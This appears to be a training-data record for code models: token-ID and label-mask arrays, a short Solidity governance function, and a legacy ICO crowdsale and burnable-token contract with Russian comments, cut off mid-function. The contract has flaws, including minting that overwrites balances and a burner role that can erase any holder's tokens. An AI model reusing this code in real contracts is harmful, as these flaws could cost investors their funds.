-100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/80001/0x79cE64C2819F78B32C776d2B6f3DccD83599910D/sources/contracts/DAO/Governance/TokenListGovernance.sol
@inheritdoc IPluginProposals
function createPluginProposal( bytes calldata _metadata, IDAO.Action[] calldata _actions, uint256 _allowFailureMap, uint64 _startDate, uint64 _endDate ) external auth(PLUGIN_PROPOSAL_PERMISSION_ID) returns (uint256 proposalId) { proposalId = _createProposalBase( _metadata, _actions, _allowFailureMap, _startDate, _endDate ); }
9,460,797
[ 1, 36, 10093, 467, 3773, 626, 22536, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 752, 3773, 14592, 12, 203, 3639, 1731, 745, 892, 389, 4165, 16, 203, 3639, 1599, 20463, 18, 1803, 8526, 745, 892, 389, 4905, 16, 203, 3639, 2254, 5034, 389, 5965, 5247, 863, 16, 203, 3639, 2254, 1105, 389, 1937, 1626, 16, 203, 3639, 2254, 1105, 389, 409, 1626, 203, 565, 262, 3903, 1357, 12, 19415, 67, 3373, 7057, 1013, 67, 23330, 67, 734, 13, 1135, 261, 11890, 5034, 14708, 548, 13, 288, 203, 3639, 14708, 548, 273, 389, 2640, 14592, 2171, 12, 203, 5411, 389, 4165, 16, 203, 5411, 389, 4905, 16, 203, 5411, 389, 5965, 5247, 863, 16, 203, 5411, 389, 1937, 1626, 16, 203, 5411, 389, 409, 1626, 203, 3639, 11272, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.13; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } function getOwner() returns(address){ return owner; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /* * Базовый контракт, который поддерживает остановку продаж */ contract Haltable is Ownable { bool public halted; modifier stopInEmergency { require(!halted); _; } /* Модификатор, который вызывается в потомках */ modifier onlyInEmergency { require(halted); _; } /* Вызов функции прервет продажи, вызывать может только владелец */ function halt() external onlyOwner { halted = true; } /* Вызов возвращает режим продаж */ function unhalt() external onlyOwner onlyInEmergency { halted = false; } } /** * Различные валидаторы */ contract ValidationUtil { function requireNotEmptyAddress(address value) internal{ require(isAddressValid(value)); } function isAddressValid(address value) internal constant returns (bool result){ return value != 0; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) returns (bool) { require(_to != address(0)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value) returns (bool); function approve(address spender, uint256 value) returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) returns (bool) { require(_to != address(0)); var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) returns (bool) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * Шаблон для токена, который можно сжечь */ contract BurnableToken is StandardToken, Ownable, ValidationUtil { using SafeMath for uint; address public tokenOwnerBurner; /** Событие, сколько токенов мы сожгли */ event Burned(address burner, uint burnedAmount); function setOwnerBurner(address _tokenOwnerBurner) public onlyOwner invalidOwnerBurner{ // Проверка, что адрес не пустой requireNotEmptyAddress(_tokenOwnerBurner); tokenOwnerBurner = _tokenOwnerBurner; } /** * Сжигаем токены на балансе владельца токенов, вызвать может только tokenOwnerBurner */ function burnOwnerTokens(uint burnAmount) public onlyTokenOwnerBurner validOwnerBurner{ burnTokens(tokenOwnerBurner, burnAmount); } /** * Сжигаем токены на балансе адреса токенов, вызвать может только tokenOwnerBurner */ function burnTokens(address _address, uint burnAmount) public onlyTokenOwnerBurner validOwnerBurner{ balances[_address] = balances[_address].sub(burnAmount); // Вызываем событие Burned(_address, burnAmount); } /** * Сжигаем все токены на балансе владельца */ function burnAllOwnerTokens() public onlyTokenOwnerBurner validOwnerBurner{ uint burnAmount = balances[tokenOwnerBurner]; burnTokens(tokenOwnerBurner, burnAmount); } /** Модификаторы */ modifier onlyTokenOwnerBurner() { require(msg.sender == tokenOwnerBurner); _; } modifier validOwnerBurner() { // Проверка, что адрес не пустой requireNotEmptyAddress(tokenOwnerBurner); _; } modifier invalidOwnerBurner() { // Проверка, что адрес не пустой require(!isAddressValid(tokenOwnerBurner)); _; } } /** * Токен продаж * * ERC-20 токен, для ICO * */ contract CrowdsaleToken is StandardToken, Ownable { /* Описание см. в конструкторе */ string public name; string public symbol; uint public decimals; address public mintAgent; /** Событие обновления токена (имя и символ) */ event UpdatedTokenInformation(string newName, string newSymbol); /** Событие выпуска токенов */ event TokenMinted(uint amount, address toAddress); /** * Конструктор * * Токен должен быть создан только владельцем через кошелек (либо с мультиподписью, либо без нее) * * @param _name - имя токена * @param _symbol - символ токена * @param _decimals - кол-во знаков после запятой */ function CrowdsaleToken(string _name, string _symbol, uint _decimals) { owner = msg.sender; name = _name; symbol = _symbol; decimals = _decimals; } /** * Владелец должен вызвать эту функцию, чтобы выпустить токены на адрес */ function mintToAddress(uint amount, address toAddress) onlyMintAgent{ // перевод токенов на аккаунт balances[toAddress] = amount; // вызываем событие TokenMinted(amount, toAddress); } /** * Владелец может обновить инфу по токену */ function setTokenInformation(string _name, string _symbol) onlyOwner { name = _name; symbol = _symbol; // Вызываем событие UpdatedTokenInformation(name, symbol); } /** * Только владелец может обновить агента для создания токенов */ function setMintAgent(address _address) onlyOwner { mintAgent = _address; } modifier onlyMintAgent(){ require(msg.sender == mintAgent); _; } } /** * Шаблон для продаж токена, который можно сжечь * */ contract BurnableCrowdsaleToken is BurnableToken, CrowdsaleToken { function BurnableCrowdsaleToken(string _name, string _symbol, uint _decimals) CrowdsaleToken(_name, _symbol, _decimals) BurnableToken(){ } } /** * Базовый контракт для продаж * * Содержит * - Дата начала и конца */ /* Продажи могут быть остановлены в любой момент по вызову halt() */ contract AllocatedCappedCrowdsale is Haltable, ValidationUtil { using SafeMath for uint; // Кол-во токенов для распределения uint public advisorsTokenAmount = 8040817; uint public supportTokenAmount = 3446064; uint public marketingTokenAmount = 3446064; uint public teamTokenAmount = 45947521; uint public teamTokensIssueDate; /* Токен, который продаем */ BurnableCrowdsaleToken public token; /* Адрес, куда будут переведена собранная сумма, в случае успеха */ address public destinationMultisigWallet; /* Первая стадия в формате UNIX timestamp */ uint public firstStageStartsAt; /* Конец продаж в формате UNIX timestamp */ uint public firstStageEndsAt; /* Вторая стадия в формате UNIX timestamp */ uint public secondStageStartsAt; /* Конец продаж в формате UNIX timestamp */ uint public secondStageEndsAt; /* Минимальная кепка для первой стадии в центах */ uint public softCapFundingGoalInCents = 392000000; /* Минимальная кепка для второй стадии в центах */ uint public hardCapFundingGoalInCents = 985000000; /* Сколько всего в wei мы получили 10^18 wei = 1 ether */ uint public weiRaised; /* Сколько всего собрали в ценах на первой стадии */ uint public firstStageRaisedInWei; /* Сколько всего собрали в ценах на второй стадии */ uint public secondStageRaisedInWei; /* Кол-во уникальных адресов, которые у наc получили токены */ uint public investorCount; /* Сколько wei отдали инвесторам на refund'е в wei */ uint public weiRefunded; /* Сколько токенов продали всего */ uint public tokensSold; /* Флаг того, что сработал финализатор первой стадии */ bool public isFirstStageFinalized; /* Флаг того, что сработал финализатор второй стадии */ bool public isSecondStageFinalized; /* Флаг нормального завершнения продаж */ bool public isSuccessOver; /* Флаг того, что начался процесс возврата */ bool public isRefundingEnabled; /* Сколько сейчас стоит 1 eth в центах, округленная до целых */ uint public currentEtherRateInCents; /* Текущая стоимость токена в центах */ uint public oneTokenInCents = 7; /* Выпущены ли токены для первой стадии */ bool public isFirstStageTokensMinted; /* Выпущены ли токены для второй стадии */ bool public isSecondStageTokensMinted; /* Кол-во токенов для первой стадии */ uint public firstStageTotalSupply = 112000000; /* Кол-во токенов проданных на первой стадии*/ uint public firstStageTokensSold; /* Кол-во токенов для второй стадии */ uint public secondStageTotalSupply = 229737610; /* Кол-во токенов проданных на второй стадии*/ uint public secondStageTokensSold; /* Кол-во токенов, которые находятся в резерве и не продаются, после успеха, они распределяются в соотвествии с Token Policy на второй стадии*/ uint public secondStageReserve = 60880466; /* Кол-во токенов предназначенных для продажи, на второй стадии*/ uint public secondStageTokensForSale; /* Мапа адрес инвестора - кол-во выданных токенов */ mapping (address => uint) public tokenAmountOf; /* Мапа, адрес инвестора - кол-во эфира */ mapping (address => uint) public investedAmountOf; /* Адреса, куда будут распределены токены */ address public advisorsAccount; address public marketingAccount; address public supportAccount; address public teamAccount; /** Возможные состояния * * - Prefunding: подготовка, залили контракт, но текущая дата меньше даты первой стадии * - FirstStageFunding: Продажи первой стадии * - FirstStageEnd: Окончены продажи первой стадии, но еще не вызван финализатор первой стадии * - SecondStageFunding: Продажи второго этапа * - SecondStageEnd: Окончены продажи второй стадии, но не вызван финализатор второй сдадии * - Success: Успешно закрыли ICO * - Failure: Не собрали Soft Cap * - Refunding: Возвращаем собранный эфир */ enum State{PreFunding, FirstStageFunding, FirstStageEnd, SecondStageFunding, SecondStageEnd, Success, Failure, Refunding} // Событие покупки токена event Invested(address indexed investor, uint weiAmount, uint tokenAmount, uint centAmount, uint txId); // Событие изменения курса eth event ExchangeRateChanged(uint oldExchangeRate, uint newExchangeRate); // Событие изменения даты окончания первой стадии event FirstStageStartsAtChanged(uint newFirstStageStartsAt); event FirstStageEndsAtChanged(uint newFirstStageEndsAt); // Событие изменения даты окончания второй стадии event SecondStageStartsAtChanged(uint newSecondStageStartsAt); event SecondStageEndsAtChanged(uint newSecondStageEndsAt); // Событие изменения Soft Cap'а event SoftCapChanged(uint newGoal); // Событие изменения Hard Cap'а event HardCapChanged(uint newGoal); // Конструктор function AllocatedCappedCrowdsale(uint _currentEtherRateInCents, address _token, address _destinationMultisigWallet, uint _firstStageStartsAt, uint _firstStageEndsAt, uint _secondStageStartsAt, uint _secondStageEndsAt, address _advisorsAccount, address _marketingAccount, address _supportAccount, address _teamAccount, uint _teamTokensIssueDate) { requireNotEmptyAddress(_destinationMultisigWallet); // Проверка, что даты установлены require(_firstStageStartsAt != 0); require(_firstStageEndsAt != 0); require(_firstStageStartsAt < _firstStageEndsAt); require(_secondStageStartsAt != 0); require(_secondStageEndsAt != 0); require(_secondStageStartsAt < _secondStageEndsAt); require(_teamTokensIssueDate != 0); // Токен, который поддерживает сжигание token = BurnableCrowdsaleToken(_token); destinationMultisigWallet = _destinationMultisigWallet; firstStageStartsAt = _firstStageStartsAt; firstStageEndsAt = _firstStageEndsAt; secondStageStartsAt = _secondStageStartsAt; secondStageEndsAt = _secondStageEndsAt; // Адреса кошельков для адвизоров, маркетинга, команды advisorsAccount = _advisorsAccount; marketingAccount = _marketingAccount; supportAccount = _supportAccount; teamAccount = _teamAccount; teamTokensIssueDate = _teamTokensIssueDate; currentEtherRateInCents = _currentEtherRateInCents; secondStageTokensForSale = secondStageTotalSupply.sub(secondStageReserve); } /** * Функция, инициирующая нужное кол-во токенов для первого этапа продаж, вызвать можно только 1 раз */ function mintTokensForFirstStage() public onlyOwner { // Если уже создали токены для первой стадии, делаем откат require(!isFirstStageTokensMinted); uint tokenMultiplier = 10 ** token.decimals(); token.mintToAddress(firstStageTotalSupply.mul(tokenMultiplier), address(this)); isFirstStageTokensMinted = true; } /** * Функция, инициирующая нужное кол-во токенов для второго этапа продаж, только в случае, если это еще не сделано и были созданы токены для первой стадии */ function mintTokensForSecondStage() private { // Если уже создали токены для второй стадии, делаем откат require(!isSecondStageTokensMinted); require(isFirstStageTokensMinted); uint tokenMultiplier = 10 ** token.decimals(); token.mintToAddress(secondStageTotalSupply.mul(tokenMultiplier), address(this)); isSecondStageTokensMinted = true; } /** * Функция возвращающая текущую стоимость 1 токена в wei */ function getOneTokenInWei() external constant returns(uint){ return oneTokenInCents.mul(10 ** 18).div(currentEtherRateInCents); } /** * Функция, которая переводит wei в центы по текущему курсу */ function getWeiInCents(uint value) public constant returns(uint){ return currentEtherRateInCents.mul(value).div(10 ** 18); } /** * Перевод токенов покупателю */ function assignTokens(address receiver, uint tokenAmount) private { // Если перевод не удался, откатываем транзакцию if (!token.transfer(receiver, tokenAmount)) revert(); } /** * Fallback функция вызывающаяся при переводе эфира */ function() payable { buy(); } /** * Низкоуровневая функция перевода эфира и выдачи токенов */ function internalAssignTokens(address receiver, uint tokenAmount, uint weiAmount, uint centAmount, uint txId) internal { // Переводим токены инвестору assignTokens(receiver, tokenAmount); // Вызываем событие Invested(receiver, weiAmount, tokenAmount, centAmount, txId); // Может переопределяеться в наследниках } /** * Инвестиции * Должен быть включен режим продаж первой или второй стадии и не собран Hard Cap * @param receiver - эфирный адрес получателя * @param txId - id внешней транзакции */ function internalInvest(address receiver, uint weiAmount, uint txId) stopInEmergency inFirstOrSecondFundingState notHardCapReached internal { State currentState = getState(); uint tokenMultiplier = 10 ** token.decimals(); uint amountInCents = getWeiInCents(weiAmount); // Очень внимательно нужно менять значения, т.к. для второй стадии 1000%, чтобы учесть дробные значения uint bonusPercentage = 0; uint bonusStateMultiplier = 1; // если запущена первая стадия, в конструкторе уже выпустили нужное кол-во токенов для первой стадии if (currentState == State.FirstStageFunding){ // меньше 25000$ не принимаем require(amountInCents >= 2500000); // [25000$ - 50000$) - 50% бонуса if (amountInCents >= 2500000 && amountInCents < 5000000){ bonusPercentage = 50; // [50000$ - 100000$) - 75% бонуса }else if(amountInCents >= 5000000 && amountInCents < 10000000){ bonusPercentage = 75; // >= 100000$ - 100% бонуса }else if(amountInCents >= 10000000){ bonusPercentage = 100; }else{ revert(); } // если запущена вторая стадия } else if(currentState == State.SecondStageFunding){ // Процент проданных токенов, будем считать с множителем 10, т.к. есть дробные значения bonusStateMultiplier = 10; // Кол-во проданных токенов нужно считать от значения тех токенов, которые предназначены для продаж, т.е. secondStageTokensForSale uint tokensSoldPercentage = secondStageTokensSold.mul(100).div(secondStageTokensForSale.mul(tokenMultiplier)); // меньше 7$ не принимаем require(amountInCents >= 700); // (0% - 10%) - 20% бонуса if (tokensSoldPercentage >= 0 && tokensSoldPercentage < 10){ bonusPercentage = 200; // [10% - 20%) - 17.5% бонуса }else if (tokensSoldPercentage >= 10 && tokensSoldPercentage < 20){ bonusPercentage = 175; // [20% - 30%) - 15% бонуса }else if (tokensSoldPercentage >= 20 && tokensSoldPercentage < 30){ bonusPercentage = 150; // [30% - 40%) - 12.5% бонуса }else if (tokensSoldPercentage >= 30 && tokensSoldPercentage < 40){ bonusPercentage = 125; // [40% - 50%) - 10% бонуса }else if (tokensSoldPercentage >= 40 && tokensSoldPercentage < 50){ bonusPercentage = 100; // [50% - 60%) - 8% бонуса }else if (tokensSoldPercentage >= 50 && tokensSoldPercentage < 60){ bonusPercentage = 80; // [60% - 70%) - 6% бонуса }else if (tokensSoldPercentage >= 60 && tokensSoldPercentage < 70){ bonusPercentage = 60; // [70% - 80%) - 4% бонуса }else if (tokensSoldPercentage >= 70 && tokensSoldPercentage < 80){ bonusPercentage = 40; // [80% - 90%) - 2% бонуса }else if (tokensSoldPercentage >= 80 && tokensSoldPercentage < 90){ bonusPercentage = 20; // >= 90% - 0% бонуса }else if (tokensSoldPercentage >= 90){ bonusPercentage = 0; }else{ revert(); } } else revert(); // сколько токенов нужно выдать без бонуса uint resultValue = amountInCents.mul(tokenMultiplier).div(oneTokenInCents); // с учетом бонуса uint tokenAmount = resultValue.mul(bonusStateMultiplier.mul(100).add(bonusPercentage)).div(bonusStateMultiplier.mul(100)); // краевой случай, когда запросили больше, чем можем выдать uint tokensLeft = getTokensLeftForSale(currentState); if (tokenAmount > tokensLeft){ tokenAmount = tokensLeft; } // Кол-во 0?, делаем откат require(tokenAmount != 0); // Новый инвестор? if (investedAmountOf[receiver] == 0) { investorCount++; } // Кидаем токены инвестору internalAssignTokens(receiver, tokenAmount, weiAmount, amountInCents, txId); // Обновляем статистику updateStat(currentState, receiver, tokenAmount, weiAmount); // Шлем на кошелёк эфир // Функция - прослойка для возможности переопределения в дочерних классах // Если это внешний вызов, то депозит не кладем if (txId == 0){ internalDeposit(destinationMultisigWallet, weiAmount); } // Может переопределяеться в наследниках } /** * Низкоуровневая функция перевода эфира на контракт, функция доступна для переопределения в дочерних классах, но не публична */ function internalDeposit(address receiver, uint weiAmount) internal{ // Переопределяется в наследниках } /** * Низкоуровневая функция для возврата средств, функция доступна для переопределения в дочерних классах, но не публична */ function internalRefund(address receiver, uint weiAmount) internal{ // Переопределяется в наследниках } /** * Низкоуровневая функция для включения режима возврата средств */ function internalEnableRefunds() internal{ // Переопределяется в наследниках } /** * Спец. функция, которая позволяет продавать токены вне ценовой политики, доступка только владельцу * Результаты пишутся в общую статистику, без разделения на стадии * @param receiver - получатель * @param tokenAmount - общее кол-во токенов c decimals!!! * @param weiAmount - цена в wei */ function internalPreallocate(State currentState, address receiver, uint tokenAmount, uint weiAmount) internal { // Cколько токенов осталось для продажи? Больше этого значения выдать не можем! require(getTokensLeftForSale(currentState) >= tokenAmount); // Может быть 0, выдаем токены бесплатно internalAssignTokens(receiver, tokenAmount, weiAmount, getWeiInCents(weiAmount), 0); // Обновляем статистику updateStat(currentState, receiver, tokenAmount, weiAmount); // Может переопределяеться в наследниках } /** * Низкоуровневая функция для действий, в случае успеха */ function internalSuccessOver() internal { // Переопределяется в наследниках } /** * Функция, которая переопределяется в надледниках и выполняется после установки адреса аккаунта для перевода средств */ function internalSetDestinationMultisigWallet(address destinationAddress) internal{ } /** * Обновляем статистику для первой или второй стадии */ function updateStat(State currentState, address receiver, uint tokenAmount, uint weiAmount) private{ weiRaised = weiRaised.add(weiAmount); tokensSold = tokensSold.add(tokenAmount); // Если это первая стадия if (currentState == State.FirstStageFunding){ // Увеличиваем стату firstStageRaisedInWei = firstStageRaisedInWei.add(weiAmount); firstStageTokensSold = firstStageTokensSold.add(tokenAmount); } // Если это вторая стадия if (currentState == State.SecondStageFunding){ // Увеличиваем стату secondStageRaisedInWei = secondStageRaisedInWei.add(weiAmount); secondStageTokensSold = secondStageTokensSold.add(tokenAmount); } investedAmountOf[receiver] = investedAmountOf[receiver].add(weiAmount); tokenAmountOf[receiver] = tokenAmountOf[receiver].add(tokenAmount); } /** * Функция, которая позволяет менять адрес аккаунта, куда будут переведены средства, в случае успеха, * менять может только владелец и только в случае если продажи еще не завершены успехом */ function setDestinationMultisigWallet(address destinationAddress) public onlyOwner canSetDestinationMultisigWallet{ destinationMultisigWallet = destinationAddress; internalSetDestinationMultisigWallet(destinationAddress); } /** * Функция, которая задает текущий курс eth в центах */ function changeCurrentEtherRateInCents(uint value) public onlyOwner { // Если случайно задали 0, не откатываем транзакцию require(value > 0); currentEtherRateInCents = value; ExchangeRateChanged(currentEtherRateInCents, value); } /** * Разделил на 2 метода, чтобы не запутаться при вызове * Эти функции нужны в 2-х случаях: немного не собрали до Cap'а, сами докидываем необходимую сумму, есть приватные инвесторы, для которых существуют особые условия */ /* Для первой стадии */ function preallocateFirstStage(address receiver, uint tokenAmount, uint weiAmount) public onlyOwner isFirstStageFundingOrEnd { internalPreallocate(State.FirstStageFunding, receiver, tokenAmount, weiAmount); } /* Для второй стадии, выдать можем не больше остатка для продажи */ function preallocateSecondStage(address receiver, uint tokenAmount, uint weiAmount) public onlyOwner isSecondStageFundingOrEnd { internalPreallocate(State.SecondStageFunding, receiver, tokenAmount, weiAmount); } /* В случае успеха, заблокированные токены для команды могут быть востребованы только если наступила определенная дата */ function issueTeamTokens() public onlyOwner inState(State.Success) { require(block.timestamp >= teamTokensIssueDate); uint teamTokenTransferAmount = teamTokenAmount.mul(10 ** token.decimals()); if (!token.transfer(teamAccount, teamTokenTransferAmount)) revert(); } /** * Включает режим возвратов, только в случае если режим возврата еще не установлен и продажи не завершены успехом * Вызвать можно только 1 раз */ function enableRefunds() public onlyOwner canEnableRefunds{ isRefundingEnabled = true; // Сжигаем остатки на балансе текущего контракта token.burnAllOwnerTokens(); internalEnableRefunds(); } /** * Покупка токенов, кидаем токены на адрес отправителя */ function buy() public payable { internalInvest(msg.sender, msg.value, 0); } /** * Покупка токенов через внешние системы */ function externalBuy(address buyerAddress, uint weiAmount, uint txId) external onlyOwner { require(txId != 0); internalInvest(buyerAddress, weiAmount, txId); } /** * Инвесторы могут затребовать возврат средств, только в случае, если текущее состояние - Refunding */ function refund() public inState(State.Refunding) { // Получаем значение, которое нам было переведено в эфире uint weiValue = investedAmountOf[msg.sender]; require(weiValue != 0); // Кол-во токенов на балансе, берем 2 значения: контракт продаж и контракт токена. // Вернуть wei можем только тогда, когда эти значения совпадают, если не совпадают, значит были какие-то // манипуляции с токенами и такие ситуации будут решаться в индивидуальном порядке, по запросу uint saleContractTokenCount = tokenAmountOf[msg.sender]; uint tokenContractTokenCount = token.balanceOf(msg.sender); require(saleContractTokenCount <= tokenContractTokenCount); investedAmountOf[msg.sender] = 0; weiRefunded = weiRefunded.add(weiValue); // Событие генерируется в наследниках internalRefund(msg.sender, weiValue); } /** * Финализатор первой стадии, вызвать может только владелец при условии еще незавершившейся продажи * Если вызван halt, то финализатор вызвать не можем * Вызвать можно только 1 раз */ function finalizeFirstStage() public onlyOwner isNotSuccessOver { require(!isFirstStageFinalized); // Сжигаем остатки // Всего можем продать firstStageTotalSupply // Продали - firstStageTokensSold // Все токены на балансе контракта сжигаем - это будет остаток token.burnAllOwnerTokens(); // Переходим ко второй стадии // Если повторно вызвать финализатор, то еще раз токены не создадутся, условие внутри mintTokensForSecondStage(); isFirstStageFinalized = true; } /** * Финализатор второй стадии, вызвать может только владелец, и только в случае финилизированной первой стадии * и только в случае, если сборы еще не завершились успехом. Если вызван halt, то финализатор вызвать не можем. * Вызвать можно только 1 раз */ function finalizeSecondStage() public onlyOwner isNotSuccessOver { require(isFirstStageFinalized && !isSecondStageFinalized); // Сжигаем остатки // Всего можем продать secondStageTokensForSale // Продали - secondStageTokensSold // Разницу нужно сжечь, в любом случае // Если достигнут Soft Cap, то считаем вторую стадию успешной if (isSoftCapGoalReached()){ uint tokenMultiplier = 10 ** token.decimals(); uint remainingTokens = secondStageTokensForSale.mul(tokenMultiplier).sub(secondStageTokensSold); // Если кол-во оставшихся токенов > 0, то сжигаем их if (remainingTokens > 0){ token.burnOwnerTokens(remainingTokens); } // Переводим на подготовленные аккаунты: advisorsWalletAddress, marketingWalletAddress, teamWalletAddress uint advisorsTokenTransferAmount = advisorsTokenAmount.mul(tokenMultiplier); uint marketingTokenTransferAmount = marketingTokenAmount.mul(tokenMultiplier); uint supportTokenTransferAmount = supportTokenAmount.mul(tokenMultiplier); // Токены для команды заблокированы до даты teamTokensIssueDate и могут быть востребованы, только при вызове спец. функции // issueTeamTokens if (!token.transfer(advisorsAccount, advisorsTokenTransferAmount)) revert(); if (!token.transfer(marketingAccount, marketingTokenTransferAmount)) revert(); if (!token.transfer(supportAccount, supportTokenTransferAmount)) revert(); // Контракт выполнен! isSuccessOver = true; // Вызываем метод успеха internalSuccessOver(); }else{ // Если не собрали Soft Cap, то сжигаем все токены на балансе контракта token.burnAllOwnerTokens(); } isSecondStageFinalized = true; } /** * Позволяет менять владельцу даты стадий */ function setFirstStageStartsAt(uint time) public onlyOwner { firstStageStartsAt = time; // Вызываем событие FirstStageStartsAtChanged(firstStageStartsAt); } function setFirstStageEndsAt(uint time) public onlyOwner { 